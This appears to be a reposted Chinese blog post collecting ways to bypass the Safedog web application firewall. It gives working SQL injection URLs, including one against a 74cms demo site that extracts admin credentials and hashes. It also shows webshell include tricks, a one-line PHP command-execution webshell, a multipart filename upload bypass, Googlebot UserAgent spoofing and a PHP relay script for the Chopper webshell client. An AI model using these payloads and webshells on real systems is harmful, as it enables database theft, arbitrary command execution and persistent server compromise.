zoukankan      html  css  js  c++  java
  • 绕过安全狗等一些WAF收集

    绕过安全狗sql注入
     

    http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23 被拦截了,经过测试拦截的是select,那么把select换成/*!50000SeLect*/呢 然后提交 http://demo.7

    被拦截了,经过测试拦截的是select,那么把select换成/*!50000SeLect*/呢

    然后提交
     

     

      

    http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23


    成功绕过

     

     

    安全狗拦截webshell存在简单绕过

     

    将大马写到一个txt文件里面,命名为dama.txt,再建一个文本文档,asp的就写入:<!--#include file="dama.txt"--> ,保存为X.asp,两个文件传同目录下,访问url/x.asp就是我们的大马了。
    php
    的同样的原理,dama.txtphp文件写入:<?php require_once ("dama.txt"); ?> ,这样就可以绕过安全狗了。

    详细说明:

    将大马写到一个txt文件里面,命名为dama.txt,再建一个文本文档,asp的就写入:<!--#include file="dama.txt"--> ,保存为X.asp,两个文件传同目录下,访问url/x.asp就是我们的大马了。

    php
    的同样的原理,dama.txtphp文件写入:<?php require_once ("dama.txt"); ?> ,这样就可以绕过安全狗了。

    漏洞证明:

     

     

     

     

    自定义UserAgent绕过安全狗

     

     

    了网站SEO方法,默认情况下安全狗开启了搜索引擎爬虫白名单,在白名单里面的关键字都会自动放行,基于此特性,我们就可以找到绕过安全狗的方法了。

    那么一般情况下网站是如何识别爬虫的呢? 通过浏览器的UserAgent,那么我们只需要更改掉自己浏览器的UserAgent就可以很好的绕过安全狗了。
    ?
    各浏览器修改默认UserAgent的方法:
    ?

    IE

    修改IE的UserAgent需要编辑注册表。

    "HKEY_CURRENT_USER"Software"Microsoft"Windows"CurrentVersion"Internet Settings"5.0"User Agent"Post Platform"

    "HKEY_LOCAL_MACHINE"SOFTWARE"Microsoft"Windows"CurrentVersion"Internet Settings"User Agent"Post Platform"

    "HKEY_LOCAL_MACHINE"SOFTWARE"Microsoft"Windows"CurrentVersion"Internet Settings"5.0"User Agent"Post Platform"

    如要修改IE的UserAgent为FireFox的,可以这么做:

    UserAgent的默认值改为"Firefox",同时在Post Platform下面新建字符串值"Firefox"="",注意修改后需重启IE。

    FireFox

    在地址栏输入"about:config",按下回车进入设置菜单。

    找到"general.useragent.override",如果没有这一项,则点右键"新建"->"字符串",输入这个字符串。

    将其值设为自己想要的UserAgent。【Googlebot/2.1 (+http://www.google.com/bot.html)】

    Maxthon

    工具栏"工具"->"遨游设置中心"->"高级选项",勾选"自定义 UserAgent 字符串",下面写上自己的UserAgent记可。保存设置后重启Maxthon生效。

    Chrome

    方法一:启动时加上参数:--user-agent="你自己的UserAgent"。

    方法二:修改chrome.dll。把里面疑似UserAgent的字符串改为自己的。

    Safari

    菜单栏"Edit"->"Preferences"->"Advanced",勾选"Show Develop menu in menu bar"。

    菜单栏会多出一项"Develop",通过里面的"User Agent"子菜单即可设置自己的UserAgent。

    下面是实践过程:

    环境介绍:

    php注入点: http://172.16.15.56:88/base64.php?id=1

    安全狗2.4正式版

    默认情况下,UserAgent为

    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0

    访问注入点,发现是拦截状态,看下图:

    更改UserAgent为 Googlebot/2.1 (+http://www.google.com/bot.html) 再次访问,发现已经绕过了,我们可以无视安全狗的存在了。

    目前安全狗已经修复此漏洞,建议用户升级为最新的3.0版,尚未升级的用户请尽快升级。

    参考网址:

     

    全方位绕过安全狗

     

     

    一、前言

        安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。

    二、测试环境

        本次测试环境为

    中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

    网站安全狗IIS版3.2.08417

    三、SQL注入绕过

        我们先写一个存在SQL注入漏洞的php:

    <?
    					

    $uid = $_REQUEST['id'];
    										

    if(!$conn = @mysql_connect("localhost", "root", "123456"))
    																			

    die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');
    								

    if(!@mysql_select_db("supe",$conn))
    												

    die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
    								

    $text = "select * from supe_members where uid=".$uid;
    											

    $rs = mysql_query ($text,$conn);
    												

    while($rom = mysql_fetch_array($rs))
    												

    {
    					

        echo $rom["username"];
    								

    }
    					

    ?>
    					

        我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

    当安装安全狗之后,注入语句会被拦截:

        经过测试发现,安全狗这块的匹配正则应该是s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。

    用下面语句成功绕过SQL注入过滤:

    http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17
    						

    有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。

    四、文件上传绕过

        安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。

        假设有一个上传功能的php:

    <?php
    

      if ($_FILES["file"]["error"] > 0)
    																			

        {
    						

    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    																			

        }
    						

      else
    						

        {
    						

    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    																			

    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    																			

    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    																										

    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    																			

    if (file_exists("upload/" . $_FILES["file"]["name"]))
    																		

          {
    						

    echo $_FILES["file"]["name"] . " already exists. ";
    															

          }
    						

        else
    						

          {
    						

    move_uploaded_file($_FILES["file"]["tmp_name"],
    												

          "upload/" . $_FILES["file"]["name"]);
    														

    echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
    																		

          }
    						

        }
    						

    ?>
    					

    <html>
    					

    <body>
    					

    <form action="upload.php" method="post"
    													

    enctype="multipart/form-data">
    								

    <label for="file">Filename:</label>
    												

    <input type="file" name="file" id="file" />
    																			

    <br />
    							

    <input type="submit" name="submit" value="Submit" />
    																			

    </form>
    					

    </body>
    					

    </html>
    

    然后在安全狗里设置禁止上传.php文件:

    然后通过浏览器上传php会被拦截:

        我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全检查没有用,php文件已经成功上传了:

       这样的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。

    五、一句话webshell绕过

        对于攻击者来说,安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。

        首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。因为php里面函数名都可以是变量,文件里哪还有特征啊,上传如下php:

    <?php
    

    $_REQUEST['a']($_REQUEST['b']);
    												

    ?>
    					

    然后在浏览器里执行:

    http://192.168.200.115/small.php?a=system&b=dir
    						

    成功执行了系统命令,当然也可以执行php代码:

    http://192.168.200.115/small.php?a=assert&b=phpinfo();
    						

    六、菜刀绕过

        测试发现这种一句话虽然可以成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

        首先在本地搭建WEB SERVER,然后写一个php转发程序:

    <?php
    

    $target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地
    					

    $poststr='';
    								

    $i=0;
    								

    foreach($_POST as $k=>$v)
    												

    {
    					

      if(strstr($v, "base64_decode"))
    														

      {
    						

        $v=str_replace("base64_decode(","",$v);
    														

        $v=str_replace("))",")",$v);
    														

      }
    						

      else
    						

      {
    						

        if($k==="z0")
    											

          $v=base64_decode($v);
    										

      }
    						

      $pp=$k."=".urlencode($v);
    														

      //echo($pp);
    						

      if($i!=0)
    											

      {
    						

        $poststr=$poststr."&".$pp;
    												

      }
    						

      else
    						

      {  
    

        $poststr=$pp;
    								

      }
    						

      $i=$i+1;
    										

    }
    					

    $ch = curl_init();
    								

    $curl_url = $target."?".$_SERVER['QUERY_STRING'];
    														

    curl_setopt($ch, CURLOPT_URL, $curl_url);
    												

    curl_setopt($ch, CURLOPT_POST, 1);
    													

    curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
    												

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    													

    $result = curl_exec($ch);
    										

    curl_close($ch);
    								

    echo $result;
    						

    ?>
    					

    意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

    这样就可以使用菜刀来连接前面那个一句话马了:

        这样就能用菜刀了,不过大家真的没必要执着于菜刀,向大家推荐一款更好的类似菜刀的工具Altman:

    http://www.i0day.com/1725.html

        它的最大特点是开源,这意味着像安全狗这种根据特征来拦截的,只要改改源代码把特征字符串改掉,就永远也无法拦截。当然改这个代码要你自己动手喽。

    七、webshell大马绕过

    一句话功能毕竟有限,想用大马怎么办?仍然是传统的include大法,传一个big.php内容如下:

    <?php
    

    include('logo.txt');
    								

    ?>
    					

    然后再把大马上传为logo.txt,这样就成功绕过安全狗的拦截执行了webshell:

    这样大马也顺利执行了。

    八、结束语

        上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护,有些绕过方法安全狗可能早就知道了,但是为什么一直没有补?很可能的原因是怕过滤太严格影响某些应用,在安全和通用性之间做取舍我认为是可以理解的,但是我觉得这也正是安全研究人员存在的价值所在。

     

  • 相关阅读:
    虚拟化技术总览
    UNIX环境高级编程笔记之高级I/O
    UNIX环境高级编程笔记之线程
    UNIX环境高级编程笔记之进程控制
    UNIX环境高级编程笔记之进程环境
    mysql中如何删除表上的索引?删除索引?
    linux环境中如何删除文件的前n行?
    linux环境中iostat命令的安装,解决-bash: iostat: command not found问题
    linux环境中安装iotop命令,解决-bash: iotop: command not found问题
    mysql初始化时报错bin/mysqld: error while loading shared libraries: libnuma.so.1: cannot open shared object file: No such file or directory的处理
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154699.html
Copyright © 2011-2022 走看看